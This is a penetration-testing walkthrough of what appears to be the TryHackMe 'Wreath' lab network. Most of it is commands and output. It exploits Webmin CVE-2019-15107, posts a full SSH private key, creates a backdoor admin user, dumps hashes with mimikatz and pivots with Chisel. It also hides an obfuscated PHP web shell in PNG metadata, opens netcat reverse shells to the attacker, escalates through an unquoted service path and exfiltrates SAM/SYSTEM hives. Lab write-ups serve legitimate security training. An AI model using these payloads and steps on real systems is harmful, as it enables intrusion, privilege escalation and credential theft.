10.200.71.200 - Linux

ENUMERATION

1 184.95 ms 10.50.65.1 2 185.39 ms 10.200.71.200

```
nmap -T4 -A -vvv -p 1-15000 10.200.71.200 | tee nmap.txt
Starting Nmap 7.91 ( <a href="https://nmap.org">https://nmap.org</a> ) at 2021-08-05 23:38 EDT
Discovered open port 443/tcp on 10.200.71.200
Discovered open port 80/tcp on 10.200.71.200
Discovered open port 22/tcp on 10.200.71.200
Discovered open port 10000/tcp on 10.200.71.200
PORT
        STATE SERVICE REASON
                                       VERSION
22/tcp open ssh
                      syn-ack ttl 63 OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
3072 9c:1b:d4:b4:05:4d:88:99:ce:09:1f:c1:15:6a:d4:7e (RSA)
256 93:55:b4:d9:8b:70:ae:8e:95:0d:c2:b6:d2:03:89:a4 (ECDSA)
256 f0:61:5a:55:34:9b:b7:b8:3a:46:ca:7d:9f:dc:fa:12 (ED25519)
ssh-ed25519 AAAAC3NzaC1IZDI1NTE5AAAAINLfVtZHSGvCy3JP5GX0Dqzcxz+Y9In0TcQc3vhvMXCP
                      syn-ack ttl 63 Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1c)
80/tcp open http
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1c
|_http-title: Did not follow redirect to <a href="https://thomaswreath.thm">https://thomaswreath.thm</a>
443/tcp open ssl/http syn-ack ttl 63 Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1c)
| http-methods:
| Supported Methods: GET POST OPTIONS HEAD TRACE
| Potentially risky methods: TRACE
_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1c
|_http-title: Thomas Wreath | Developer
ssl-cert: Subject: commonName=thomaswreath.thm/organizationName=Thomas Wreath Development/
stateOrProvinceName=East Riding Yorkshire/countryName=GB/emailAddress=me@thomaswreath.thm/
localityName=Easingwold
| Issuer: commonName=thomaswreath.thm/organizationName=Thomas Wreath Development/
stateOrProvinceName=East Riding Yorkshire/countryName=GB/emailAddress=me@thomaswreath.thm/
localityName=Easingwold
9090/tcp closed zeus-admin reset ttl 63
                       syn-ack ttl 63 MiniServ 1.890 (Webmin httpd)
10000/tcp open http
http-favicon: Unknown favicon MD5: BAC253BFC8908D7A4AA486F13B7A2386
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
OS fingerprint not ideal because: Didn't receive UDP response. Please try again with -sSU
Aggressive OS guesses: HP P2000 G3 NAS device (91%), Linux 2.6.32 (90%), Infomir MAG-250 set-top box (90%),
Ubiquiti AirMax NanoStation WAP (Linux 2.6.32) (90%), Linux 3.7 (90%), Linux 5.0 (90%), Linux 5.1 (90%), Ubiquiti
AirOS 5.5.9 (90%), Linux 5.0 - 5.4 (89%), Ubiquiti Pico Station WAP (AirOS 5.2.6) (89%)
TRACEROUTE (using port 9090/tcp)
HOP RTT
            ADDRESS
```

The Uncommon port seems to be 10000/tcp open http syn-ack ttl 63 MiniServ 1.890 (Webmin httpd)

After a quick google searh for the name of the service we find a exploit: https://nvd.nist.gov/vuln/detail/CVE-2019-15107

Analysis Description

An issue was discovered in Webmin <=1.920. The parameter old in password_change.cgi contains a command injection vulnerability.

Severity

CVSS 3.x Severity and Metrics:

NIST: NVD

Base Score: <u>9.8 CRITICAL</u>

Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Exploit -- MiniServ RCE - CVE-2019-15107



@MuirlandOracle

- [*] Server is running in SSL mode. Switching to HTTPS
- [+] Connected to https://10.200.71.200:10000/ successfully.
- [+] Server version (1.890) should be vulnerable!
- [+] Benign Payload executed!
- [+] The target is vulnerable and a pseudoshell has been obtained.

Type commands to have them executed on the target.

- [*] Type 'exit' to exit.
- [*] Type 'shell' to obtain a full reverse shell (UNIX only).

shell

- [*] Starting the reverse shell process
- [*] For UNIX targets only!
- [*] Use 'exit' to return to the pseudoshell at any time

Please enter the IP address for the shell: 10.50.65.13 Please enter the port number for the shell: 4444

- [*] Start a netcat listener in a new window (nc -lvnp 4444) then press enter.
- [+] You should now have a reverse shell on the target

After enumeration we find the "id_rsa" file in the .ssh directory which will allow easy ssh access to the target.

LOOT--> id_rsa

----BEGIN OPENSSH PRIVATE KEY-----

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 ----END OPENSSH PRIVATE KEY-----

Nmap (static binary)

Uploading a static Nmap binary we can do a network scan from the internal network and find the open ports on the 10.200.71.150 host

[root@prod-serv tmp]# ./nmap-koelhosec -sS -T4 -w 10.200.71.150

Starting Nmap 6.49BETA1 (http://nmap.org) at 2021-08-11 01:44 BST

Discovered open port 80/tcp on 10.200.71.150

Discovered open port 3389/tcp on 10.200.71.150

Discovered open port 5985/tcp on 10.200.71.150

Discovered open port 5357/tcp on 10.200.71.150

Completed SYN Stealth Scan at 01:45, 65.25s elapsed (6150 total ports)

Nmap scan report for ip-10-200-71-150.eu-west-1.compute.internal (10.200.71.150)

Host is up, received arp-response (0.00037s latency).

Scanned at 2021-08-11 01:44:41 BST for 65s

Not shown: 6146 filtered ports Reason: 6146 no-responses

PORT STATE SERVICE REASON

80/tcp open http syn-ack ttl 128

3389/tcp open ms-wbt-server syn-ack ttl 128 -- RDP

5357/tcp open wsdapi syn-ack ttl 128 5985/tcp open wsman syn-ack ttl 128

MAC Address: 02:23:7E:BB:E0:F9 (Unknown)

Read data files from: /etc

Nmap done: 1 IP address (1 host up) scanned in 65.50 seconds Raw packets sent: 24642 (1.084MB) | Rcvd: 57 (2.492KB)

10.200.71.150 - Windows (p: 80,3389,5985)

GitServer

Vulnerability:

https://nvd.nist.gov/vuln/detail/CVE-2018-5955

Severity

CVSS 3.x Severity and Metrics:



NIST: NVD

Base Score: 9.8 CRITICAL

Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

 α

After Having acessed the host 10.200.71.150 via netcat listen open on 10.200.71.200 we created a user to access the machine via Evil-WinRM:

net user Koelhosec KoelhoIsHere66 /add net localgroup Administrators Koelhosec /add net localgroup "Remote Management Users" Koelhosec /add

evil-winrm -u Koelhosec -p KoelhoIsHere66 -i 10.200.71.150

Evil-WinRM shell v2.4

Info: Establishing connection to remote endpoint

Evil-WinRM PS C:\Users\Koelhosec\Documents>

From Gitserver copy a mimikatz file to be uploaded into the Windows Server [root@prod-serv tmp]# curl http://10.50.65.13/mim1katz.exe -o /tmp/mim1katz.exe

Add 8080 to bypass the firewall

firewall-cmd --zone=public --add-port 8080/tcp

Serve 8080

python3 -m http.server 8080

Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/)

Invoke Webrequest via Powershell to copy mimikatz

Evil-WinRM PS C:\Users\Koelhosec\Documents> IWR -uri http://10.200.71.200:8080/mim1katz.exe -outfile mim1katz.exe

NTLM Hash Captured with mimikatz

evil-winrm -u Administrator -H 37db630168e5f82aafa8461e05c6bbd1 -i 10.200.71.150

Loading Scripts Through Evil-WinRM

evil-winrm -u Koelhosec -p KoelhoIsHere66 -i 10.200.71.150 -s /usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network/

Invoke-Portscan.ps1

----->continue Recon/Scan on 10.200.71.100 target

10.200.71.100 - Windows (80, 3389)

Scanning Target via Evil-WinRM Empire Script

Invoke-Portscan -Hosts 10.200.71.100 -TopPorts 50

Hostname : 10.200.71.100

alive : True

openPorts : {80, 3389}

closedPorts : {}

filteredPorts: {445, 443, 79, 88...} finishTime: 8/20/2021 4:04:10 AM

Adding Firewall rule for Pivoting

netsh advfirewall firewall add rule name="chisel-koelhosec" dir=in action=allow protocol=tcp localport=<mark>20000</mark>

Uploading Chisel on 10.200.71.150 machine

Evil-WinRM PS C:\Users\Administrator\Documents> upload chisel-koelhosec.exe

Running Chisel Server

Evil-WinRM PS C:\Users\Administrator\Documents> .\chisel-koelhosec.exe server -p 20000 --socks5

Connecting back to Chisel Server from our Attacking machine

—(root koelhosec)-[/home/thm/wreath/Uploads]

chisel client 10.200.71.150:20000 9090:socks

Now we can visit 10.200.71.100 webpage via browser when setting 127.0.0.1:9090 as Foxyproxy!

Now using Evil-WinRM we can download the website repo to look at the source code:

Evil-WinRM PS C:\GitStack\repositories> download C:\GitStack\repositories\Website.git
Info: Downloading C:\GitStack\repositories\Website.git to ./C:\GitStack\repositories\Website.
git

Use GitTools to extract website:

```
(root & koelhosec)-[/home/tryhackme/wreath/loot/gitserver]
# git clone https://github.com/internetwache/GitTools
```

Now we should have acess to all commits on the static website:

Analyzing the first commit we can see the PHP sourcecode and the filters in place that will allow filter bypass:

```
if(isset($_POST["upload"]) && is_uploaded_file($_FILES["file"]["tmp_name"])){
        $target = "uploads/".basename($_FILES["file"]["name"]);
        $goodExts = ["jpg", "jpeg", "png", "gif"];
        if(file_exists($target)){
                header("location: ./?msg=Exists");
        $size = getimagesize($_FILES["file"]["tmp_name"]);
        if(!in_array(explode(".", $_FILES["file"]["name"])[1], $goodExts) || !$size){
                header("location: ./?msg=Fail");
                die();
        move_uploaded_file($_FILES["file"]["tmp_name"], $target);
        header("location: ./?msg=Success");
        die();
} else if ($_SERVER["REQUEST_METHOD"] = "post"){
        header("location: ./?msg=Method");
}
if(isset($_GET["msg"])){
```

So if we upload a image with .png.php with obfuscated PHP shell we should bypass the filter and AV in place.

Payload used:

```
<?php
    $cmd = $_GET["wreath"];
    if(isset($cmd)){
       echo "<pre>" . shell_exec($cmd) . "";
    }
    die();
?>
```

Obfuscated payload entered into exiftools into the image:

```
(root@koelhosec)-[/home/tryhackme/wreath/uploads]
 -# exiftool google-shelly.png.php
ExifTool Version Number
                                 : 12.39
File Name
                                 : google-shelly.png.php
Directory
File Size
                                : 13 KiB
File Modification Date/Time
                                : 2022:02:06 08:31:11-05:00
File Access Date/Time
                                : 2022:02:06 08:31:11-05:00
File Inode Change Date/Time
                                : 2022:02:06 08:31:11-05:00
File Permissions
                                : -rw-r--r--
                                : PNG
File Type
File Type Extension
                                : png
MIME Type
                                : image/png
Image Width
                                 : 256
Image Height
                                : 256
Bit Depth
                                : 8
Color Type
                                : RGB with Alpha
Compression
                                : Deflate/Inflate
                                : Adaptive
Filter
Interlace
                                : Noninterlaced
Software
                                : Adobe ImageReady
Comment
                                : <?php $p0=$_GET[base64_decode('d3JlYXRo')];if(isset($p0)){e</pre>
cho base64_decode('PHByZT4=').shell_exec($p0).base64_decode('PC9wcmU+');}die();?>
Image Size
                                : 256×256
                                 : 0.066
Megapixels
```

Uploading the file we can now access RCE following the wreath parameter:



🔼 10.200.71.100/resources/uploads/google-shelly.png.php?wreath=systeminfo

Now in order to get a full reverse shell into the target we will use nc64.exe binary:

git clone https://github.com/int0x33/nc.exe/

Setup a python server on our machine and upload the netcat binary into the target:

```
(root  koelhosec)-[/home/tryhackme/wreath/uploads/nc.exe]
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.200.71.100 - - [06/Feb/2022 08:49:52] "GET /nc-koelhosec.exe HTTP/1.1" 200 -
```

 $\label{lem:http://10.200.71.100/resources/uploads/google-shelly.png.php?wreath=} curl \ http://10.50.65.13/nc-koelhosec.exe-oc:\windows\temp\nc-koelhosec.exe$

Then setup a netcat listener and with the following command on the website we should get a reverse shell on our attacking machine:

http://10.200.71.100/resources/uploads/google-shelly.png.php?wreath=powershell.exe c:\|windows\|temp\|nc-koelhosec.exe 10.50.65.13 33333 -e cmd.exe

```
(root@ koelhosec)-[/home/tryhackme/wreath/uploads/nc.exe]
# nc -nlvp 33333
listening on [any] 33333 ...
connect to [10.50.65.13] from (UNKNOWN) [10.200.71.100] 50059
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\resources\uploads>whoami
whoami
wreath-pc\thomas
```

Through services enumeration we should find a service which allows running as system:

wmic service get name, displayname, pathname, startmode | findstr /v /i "C:\Windows"

powershell "get-acl -Path 'C: |Program Files (x86)|System Explorer' | format-list"

```
Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\System Explorer
Owner : BUILTIN\Administrators
Group : WREATH-PC\None
Access : BUILTIN\Users Allowh FullControlnat path contain spaces (which several do)
```

We can compile a program to explore this vulnerability with Mono:

```
(root  koelhosec)-[/home/tryhackme/wreath/uploads]
# mcs Wrapper.cs
```

Then we can serve the file and download it locally using our shell with cURL:

```
C:\Users\Thomas\AppData\Local\Temp>curl http://10.50.65.13/wrapper-koelhosec.exe -o %TEMP%\wr
apper-koelhosec.exe
curl http://10.50.65.13/wrapper-koelhosec.exe -o %TEMP%\wrapper-koelhosec.exe
            % Received % Xferd Average Speed
                                                                  Time Current
                                                 Time
                                                         Time
                                 Dload Upload
                                                         Spent
                                                                  Left Speed
                                                 Total
100
    3584
          100 3584
                                  3584
                                               0:00:01 --:--:--
                                                                 0:00:01 15316
```

Then move to the System Service folder that is running as admin.

```
C:\Users\Thomas\AppData\Local\Temp>copy %TEMP%\wrapper-koelhosec.exe "C:\Program Files (x86)\
System Explorer\System.exe"
copy %TEMP%\wrapper-koelhosec.exe "C:\Program Files (x86)\System Explorer\System.exe"
1 file(s) copied.
```

And when we stop and start the service again we should get a shell back as nt authority\system on our netcat listener:

```
C:\Program Files (x86)\System Explorer>sc start SystemExplorerHelpService sc start SystemExplorerHelpService [SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.
```

```
(root@ koelhosec)-[/home/tryhackme/wreath/uploads]
# nc -nlvp 33334
listening on [any] 33334 ...
connect to [10.50.65.13] from (UNKNOWN) [10.200.71.100] 50383
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
```

We can now prove Thomas that we rooted his machine getting the secrets hash with the secretsdump.py:

C:\Users\Administrator\Desktop>net use \\10.50.65.13\share /USER:user s3cureP@ssword net use \\10.50.65.13\share /USER:user s3cureP@ssword The command completed successfully.

C:\Users\Administrator\Desktop>reg.exe save HKLM\SAM \\10.50.65.13\share\sam.bak reg.exe save HKLM\SAM \\10.50.65.13\share\sam.bak The operation completed successfully.

C:\Users\Administrator\Desktop>reg.exe save HKLM\SYSTEM \\10.50.65.13\share\system.bak reg.exe save HKLM\SYSTEM \\10.50.65.13\share\system.bak The operation completed successfully.

C:\Users\Administrator\Desktop>net use \\10.50.65.13\share /del
net use \\10.50.65.13\share /del
\\10.50.65.13\share was deleted successfully.

(root keelhosec)-[/home/tryhackme/wreath/uploads]
secretsdump.py -sam ./sam.bak -system ./system.bak LOCAL
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation
physhellphp statume.poin
[*] Target system bootKey: 0×fce6f31c003e4157e8cb1bc59f4720e6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a05c3c807ceeb48c47252568da284cd2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:06e57bdd6824566d79f127fa0de844e2:::
Thomas:1000:aad3b435b51404eeaad3b435b51404ee:02d90eda8f6b6b06c32d5f207831101f:::
[*] Cleaning up...